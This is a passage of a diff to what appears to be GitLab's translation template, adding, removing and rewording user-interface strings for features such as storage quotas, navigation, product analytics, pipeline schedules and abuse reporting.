msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
